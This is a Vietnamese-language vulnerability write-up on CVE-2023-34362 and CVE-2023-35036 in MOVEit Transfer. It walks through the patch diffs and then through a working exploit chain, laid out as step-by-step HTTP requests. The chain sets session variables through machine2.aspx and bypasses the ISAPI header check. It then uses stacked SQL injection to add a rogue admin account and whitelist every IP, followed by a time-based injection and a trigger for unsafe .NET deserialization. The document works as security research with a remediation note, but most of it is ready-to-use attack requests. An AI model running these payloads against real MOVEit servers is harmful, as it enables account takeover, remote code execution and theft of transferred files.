CVE-2023-34362
Advisory
https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
Setup
Official installation documentation:
https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html
Affected version:
https://cdn.ipswitch.com/ft/MOVEit/Transfer/2023/2023.0/MOVEit-Transfer-2023.0.0-FullInstall.exe
Fix version: Tải ở trang chủ, sau khi nhận được email
Chọn Download & Install
và chạy file vừa tải xuống, trong quá trình install lưu lại activation key để dùng cho việc cài đặt bản unpatched.
Khi cài đặt thì có key như dưới dây:
Cài đặt bản unpatch: Dùng trial activation key của version vừa tải ở trên để offline activate affected version.
Sau khi active thì sẽ chọn DBMS, nhớ lưu lại thông tin
Nơi lưu source code của MOVEit Transfer
Analysis
Sau khi đã được decompile và diff code, ta thấy có sự thay đổi ở hàm UserGetUsersWithEmailAddress tại file UserEngine.cs là đáng chú ý.
Đoạn sau được xóa đi ở version 2023.0.1
Analyze hàm UserGetUsersWithEmailAddress trên để biết được hàm đó được gọi ở đâu trong source
Sqli tại SLIGuestAccess.cs
(guestaccess.aspx
)
SILGuessAccess.PerformAction()
gọi đến MsgEngine.MsgPostForGuest()
và dùng this.m_pkginfo
làm tham số
text
được lấy từ giá trị package info này.
PkgInfo.SelfProvisionedRecips
load từ session
⇒ Lợi dụng method SetAllSessionVarsFromHeaders
trong SILMachine2.cs
để set các giá trị trên
Các steps để reach được sink từ guestaccess.aspx
- Set validation code
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgValidationCode: 2 Cookie: <session cookie of above>
- Set access code
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgAccessCode: 2 Cookie: <session cookie of above>
- Set permission
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPermission: 5 Cookie: <session cookie of above>
Mục đích: pass đoạn code này
- Set package id
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgID: 0 Cookie: <session cookie of above>
Mục đích:
PkgInfo.IsSelfProvisioned=true
→ call đến sink - Set guest email address
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyGuestEmailAddr: bla@gmail.com Cookie: <session cookie of above>
Mục đích: thỏa mãn điều kiện
SILUtility.isValidEmail(FromEmailAddr, false)
- Set payload SQL injection
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyPkgSelfProvisionedRecips: blabla' or 1=1-- - Cookie: <session cookie of above>
- Set username
GET /machine2.aspx HTTP/1.1 Host: localhost Cache-Control: max-age=0 X-siLock-Transaction: session_setvars X-siLock-SessVar: MyUsername: Guest Cookie: <session cookie of above>
Mục đích: làm cho
m_foundactivesession=true
Lưu ý: request set username cần được đặt ở cuối để tránh error Your session has expired.
xảy ra do đoạn if sau
Sau đó truy cập tới /guestaccess.aspx?arg06=2
để lấy csrf token
Payload trigger SQL Injection
POST /guestaccess.aspx HTTP/1.1
Host: localhost
Content-Length: 92
Cookie: <session cookie of above>
Connection: close
csrftoken=<csrf_token>&transaction=secmsgpost&arg06=2&arg05=send
Kết quả
From SQL Injection to admin privilege escalation
Vì data trả về của câu query không in ra màn hình nên chúng ta không thể dump bằng Union Based. Thử payload stack query với sleep(10) thì thời gian server trả về reponse là hơn 10s ⇒ có thể sử dụng stack query
Thực hiện insert 1 account admin bất kì với payload như sau:
');INSERT INTO moveittransfer.users (Username) VALUES ('y8pm5hoet340m4bz');UPDATE moveittransfer.users SET LoginName='notaidh' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET Permission='40' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET Password='PwQAFn4AV1BnBmFSqYurTzL6twt8bQP7jVBVwQOfSSaRqoLxRp2k1ioP6eXPwhRIOC4hFhw0fYVlWqx8rbjf' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET InstID='4490' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='y8pm5hoet340m4bz';-- -
Trong đó:
y8pm5hoet340m4bz
→ giá trị random bất kìnotaidh
→ username để login40
→ quyền của account này (có thể là 30 hoặc 40)PwQAFn4AV1BnBmFSqYurTzL6twt8bQP7jVBVwQOfSSaRqoLxRp2k1ioP6eXPwhRIOC4hFhw0fYVlWqx8rbjf
– hash của passwordCaheo@1234
ứng vớiInstID
là4490
Sau khi execute payload thành công.
Nhưng mặc định khi setup thì MOVEit Transfer sẽ không cho login từ external nên mình cần add thêm whitelist IP vào trong database. List IP sẽ được lưu trong table hostpermits
Payload insert whitelist IP thông qua SQL Injection như sau:
INSERT INTO moveittransfer.hostpermits (Comment) VALUES ('{RANDOM_STRING}');UPDATE moveittransfer.hostpermits SET InstID='{instID}' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Rule='1' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET PermitID='3' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Priority='1' WHERE Comment='{RANDOM_STRING}';
Trong đó:
{RANDOM_STRING}
là chuỗi bất kì{instID}
được lấy từ cookie*.*.*.*
cho phép tất cả dãy ip
Sau khi insert thành công thì đã có thể login từ external.
Login vào tài khoản notaidh/Caheo@1234
thành công.
Unsafe .NET Deserialization
Dù đã tham khảo qua log của các server bị attack trên internet, mình không thấy nhắc đến việc tấn công RCE thông qua unsafe .NET deserialization, phải chờ tới lúc có một số twitter thông báo thì mình mới đi theo hướng này, một phần là vì trong lúc diff, đoạn code gây ra unsafe .NET deserialization cũng không có gì thay đổi.
Search trong source decompiled với keyword .Deserialize(
và lọc đi những folder trong lib thì còn lại một số kết quả như sau:
Đoạn code unsafe deserialization nằm ở hàm DeserializeFileUploadStream:
this._uploadState
được lấy từ database
Hàm DeserializeFileUploadStream được call trong hàm GetUploadStream
Và cuối cùng hàm GetUploadStream được gọi ở controller {id}/files
với method PUT. Prefix của controller này là api/v1/folders
hay cụ thể entrypoint để vào được tới đây: api/v1/folders/{id}/files
Để hiểu hơn về flow từ source tới sink theo code trên thì chúng ta sẽ tiến hành debug.
Sử dụng chức năng upload ở menu folders.
Khi thực hiện upload một file sẽ có hai requests lần lượt được gửi đến server
POST request
Code xử lí chính nằm ở
Gọi đến ResumableUploadFileInitHandler.GetResult()
, tại đây thực hiện kiểm tra file đã tồn hay chưa, và sau đó gọi đến CreateUploadInfo()
Hàm này thực hiện chèn trước một vài thông tin về file vào database
Và response trả về bao gồm FileID
ứng với file này.
Tiếp theo một request PUT được gửi đến server để cập nhật nội dung file với fileId
tương ứng
Code xử lí chính bên phía server
Tại đây gọi đến method GetUploadStream()
, ở method này thực hiện một vài kiểm tra đối với file đồng thời call đến GetFileUploadInfo()
để lấy thông tin từ file upload
Các thông tin sẽ được select từ database, column đáng quan tâm là State
sẽ được DBFieldDecrypt → Base64 Decode và gán vào this._uploadState
Và cuối cùng gọi đến DeserializeFileUploadStream()
– sink .NET insecure deser.
Nhưng mặc định giá trị của cột State
là rỗng nên không thể reach được đoạn code này.
- Cách 1: Set trực tiếp State thông qua hàm Serialize như dưới đây:
Theo logic code, cột này sẽ được set khi this.IsUploadCompleted()
return false hay nói cách khác là chưa hoàn thành quá trình upload.
Method IsUploadCompleted()
như sau, thực hiện kiểm tra nếu _fileSize==0
hoặc _range.To
bằng với _fileSize -1
→ đã hoàn thành quá trình upload
_range
ở đây là Content-Range và trong ngữ cảnh hiện tại thì mang giá trị bytes 0-666/667
Tới đây ta sẽ chia quá trình upload thành hai giai đoạn “upload phần đầu” & “upload phần còn lại”
POST:
POST /api/v1/folders/<folderID>/files?uploadType=resumable HTTP/1.1
Host: localhost
Cookie: <cookie>
Connection: close
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV
Content-Disposition: form-data; name="name"
<name>
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV
Content-Disposition: form-data; name="size"
100
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV
Content-Disposition: form-data; name="comments"
<comments>
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV--
PUT 1:
PUT /api/v1/folders/<folderID>/files?uploadType=resumable&fileId=<fileID> HTTP/1.1
Host: localhost
Content-Length: 50
Content-Type: application/octet-stream
Content-Range: bytes 0-49/100
<Payload .NET deser>
PUT 2:
PUT /api/v1/folders/<folderID>/files?uploadType=resumable&fileId=<fileID> HTTP/1.1
Host: localhost
Content-Length: 50
Content-Type: application/octet-stream
Content-Range: bytes 50-99/100
"a"*50
Request PUT lần thứ 2 sẽ trigger payload deser.
Lưu ý: PUT requests phải đảm bảo giá trị của các trường Content-Range
, Content-Length
và size
trong POST request thỏa mãn đoạn code trong method CheckRange()
nếu không server sẽ báo lỗi
Kết quả
Tuy nhiên lúc này nhìn lại thì mình mới để ý, cái được serialize là object của class FileTransferStream
chứ không phải payload deser ban đầu.
Vì vậy không thể đi theo hướng này.
- Cách 2: Set gián tiếp State thông qua cách sử dụng SQL Injection
Như đã nói ở trên, tại POST request sẽ thực hiện lưu trước một vài thông tin của file được upload vào database
⇒ Có thể chèn “base64 encoded payload” vào comments
sau đó sql injection để update cột State
bằng với giá trị này
Request như sau:
GET /machine2.aspx HTTP/1.1
Host: localhost
Cache-Control: max-age=0
X-siLock-Transaction: session_setvars
X-siLock-SessVar: MyPkgSelfProvisionedRecips: '); update fileuploadinfo set state=comment where fileid='<fileID>';-- -
Cookie: <session cookie of above>
Localhost access restriction bypass
Dựa vào các thông tin đã biết trong cộng đồng InfoSec, ta biết rằng attacker có thực hiện request đến MOVEitSAPI Service (moveitsapi.dll
) nhằm thực hiện các chức năng trong machine2.aspx
.
Thư mục chứa file này nằm tại C:\MOVEitTransfer\MOVEitISAPI\
.
File này về cơ bản là một file ISAPI extension, được chạy dưới dạng là một phần mở rộng có nhiệm vụ là triển khai thêm những chức năng cần thiết của nhà phát triển cho IIS server.
Một ISAPI extension thông thường có 3 exported functions:
- GetExtensionVersion
- HttpExtensionProc
- TerminateExtension
Ở đây, để phân tích ta sẽ tập trung vào hàm HttpExtensionProc vì hàm này là entry-point chính của quá trình xử lí request và response.
Sau một thời gian debug và phân tích, ta thấy được rằng để từ endpoint moveitisapi.dll đến machine2.aspx, ta cần phải bypass được quy trình xử lí request header.
Đoạn code thực hiện các chức năng với từng action
đưa vào.
Đoạn code xử lí khi action=m2
như hình dưới đây:
Sau khi review pseudo C code, ta thấy rằng nếu giá trị của action
không thỏa những module phía trên, sẽ ghi nội dung lỗi ra file log nằm tại C:\MOVEitTransfer\Logs\DMZ_ISAPI.log
. Nếu không thì sẽ tiếp tục chạy vào hàm sub_7FFCBE9C0920
để tiếp tục.
Trong hàm sub_7FFCBE9C0920
thực hiện các thao tác chuẩn bị cookie và headers cho phép để tiến hành forward đến machine2.aspx
, nhưng lại không hỗ trợ giá trị X-siLock-Transaction
là session_setvars
.
Sau một thời gian reverse và debug, ta nhận ra được rằng hàm get_header
(renamed) chỉ kiểm tra chuỗi truyền vào có tồn tại trong request header hay không và sử dụng hàm stricmp
(case-insensitive) để so sánh. Từ đó, để bypass được đoạn này, ta chỉ cần đặt chuỗi X-siLock-Transaction: folder_add_by_path
vào bất kì vị trí nào trong request header.
Ví dụ khi header này được đưa vào bên trong header Cookie
:
POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: localhost
X-siLock-Transaction: session_setvars
Cookie: ASP.NET_SessionId=fikqem521kve5jdpm151icz4; siLockLongTermInstID=4490; X-siLock-Transaction: folder_add_by_path
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Khi nhận thấy SSRF thành công vào /machine2.aspx
, ta lợi dụng method SetAllSessionVarsFromHeaders
để set các thuộc tính cho session object thông qua header.
Chi tiết được thực hiện trong script PoC.
Full chain:
Set các header và payload insert account admin, insert whitelist IP thông qua SQL injection tại /moveitisapi/moveitisapi.dll?action=m2
(machine2.aspx) → Trigger SQL Injection tại guestaccess.aspx
→ login account admin → get token and folder id → upload file chứa payload deserialize ở comments (method POST) → update state
từ comment
(giống như step 1 và 2) → trigger deserialize (method PUT)
POC:
Sau khi reproduce thành công CVE-2023-34362, mình phát hiện CVE-2023-35036 của nó vừa được pubic cách đây vài ngày và root cause vẫn là SQL Injection nên sẵn đang trên đà phân tích thì mình cũng bắt tay vào làm CVE này luôn.
CVE-2023-35036
Advisory
https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
Setup
Official installation documentation:
https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html
Patch:
Quá trình cài đặt sẽ tương tự như CVE phía trên.
Analysis
Dựa vào hướng dẫn patch, tiến hành tìm sự thay đổi trong các file sau đây
Method FolderIDToPath()
trong FolderEngine.cs
CleanForSQL()
trong SILUtility.cs
Main()
trong SILCertToUser.cs
Tại method FolderIDToPath()
thực hiện nối các giá trị vào câu truy vấn ⇒ có thể khai thác sqli
this._globals.objUser.InstID
– giá trị này khó có thể kiểm soátempty
vàempty2
– được gán thông quaSILUtility.SplitFolderIDAndPathHash()
Method này split kí tự -
trong chuỗi Input
(hay FolderID
) sau đó gán lại giá trị cho các tham số được tham chiếu.
Trace các method gọi đến FolderIDToPath()
→ Bắt nguồn từ SILMachine.cs
và SILMachine2.cs
Đối với SILMachine.cs
, input sẽ được lấy từ Arg01
và Arg02
từ kinh nghiệm khi phân tích cve trước, mình biết được rằng các giá trị khi lấy thông qua argXX
đều sẽ bị encode bởi SILUtility.XHTMLClean()
→ khó có thể tiếp cận từ đây.
Đối với SILMachine2.cs
, this.InputFolderID
và this.InputRelativePath
được đưa vào làm tham số cho method này.
Hai giá trị nêu ở trên bắt nguồn từ các request headers X-siLock-RelativePath
, X-siLock-FolderID
Method GetHeaderValForSQL()
gọi đến SILUtility.CleanForSQL()
CleanForSQL()
định nghĩa các “disallow” characters trong text
và gọi đến SILUtility.CustomCleanDisabllow()
Tại đây thực hiện loại trừ các kí tự này ra khỏi chuỗi ban đầu.
Request reach sink sqli
GET /machine2.aspx HTTP/1.1
Host: localhost
X-siLock-Transaction: large_upload_start
X-siLock-RelativePath: path
X-siLock-FolderID: 222-333
Cookie: <cookie>
Call stack
Câu truy vấn cuối cùng sẽ như sau
⇒ Có thể kiểm soát được hai thành phần trong câu query.
Bên cạnh đó bởi vì disallow characters chỉ bao gồm "';
→ bypass với \
Sqli trigger time delay:
Final payload (ssrf bypass host check):
POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: 192.168.169.173
aX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: large_upload_start
Cookie: <cookie>
X-siLock-RelativePath: path
X-siLock-FolderID: 222\- OR sleep(2)#
Về method Main()
trong SILCertToUser.cs
Bản chất là dùng để xác thực client dựa trên certificate lấy bởi SILUtility.MakeCertWrapperFromRequest()
Tại method này, nếu tồn tại cert được gửi thông qua request header X-IPSGW-ClientCert
thì sẽ thực hiện khởi tạo một instance của SILClientCert
dựa trên giá trị đó và gán cho silclientCert
, ngược lại sẽ lấy từ cert của trình duyệt
Sau khi thỏa mãn if, sink sqli xảy ra ngay tại đoạn nối chuỗi dưới đây
Tiến hành tạo self signed-cert với openssl và chỉnh giá trị CN
thành payload sqli trigger time delay
Kết quả
Tuy nhiên điều kiện để khai thác được là ip phải nằm trong các trusted IP đã được thiết lập trước đó.
Unsafe .NET Deserialization
Khi SQL Injection thành công và trong trường hợp có thể sử dụng stack query, chúng ta có thể tiếp tục exploit insecure deser tương tự như CVE phía trên bởi vì đoạn code đó đều không thay đổi ở cả 2 phiên bản.
Remediation
Hiện tại thì MOVEit Transfer đã có publish phiên bản mới nhất là 15.0.2 để patch 2 CVE trên. Vì vậy hãy update version của MOVEit Transfer lên version mới nhất để đảm bảo an toàn bảo mật.
Writen by taidh x stk x to^
Analysis CVE-2023-34362 & CVE-2023-35036 (MOVEit Transfer)
MOVEit Transfer – Introduction
MOVEit Transfer là một phần mềm quản lý, truyền tải tập tin an toàn và bảo mật. Nó cung cấp một giải pháp tổng thể cho việc trao đổi tập tin và dữ liệu giữa các đối tác, khách hàng và hệ thống trong môi trường kinh doanh.
MOVEit Transfer cho phép ta truyền tải tập tin qua các kênh bảo mật như SFTP, FTPS, HTTPS và AS2. Nó cung cấp tính năng quản lý và theo dõi tập tin, đảm bảo tính toàn vẹn và bảo mật của dữ liệu trong quá trình truyền tải.
Phần mềm này cũng cung cấp các tính năng quản lý quyền truy cập, giúp người dùng kiểm soát và quản lý quyền truy cập vào các tập tin và thư mục. Ngoài ra, MOVEit Transfer còn hỗ trợ các tính năng như lập lịch truyền tải, mã hóa dữ liệu, kiểm soát tốc độ truyền tải và theo dõi hoạt động truyền tải.
MOVEit Transfer được sử dụng rộng rãi trong các tổ chức và doanh nghiệp để truyền tải tập tin và dữ liệu quan trọng một cách an toàn, tin cậy và tuân thủ các quy định bảo mật.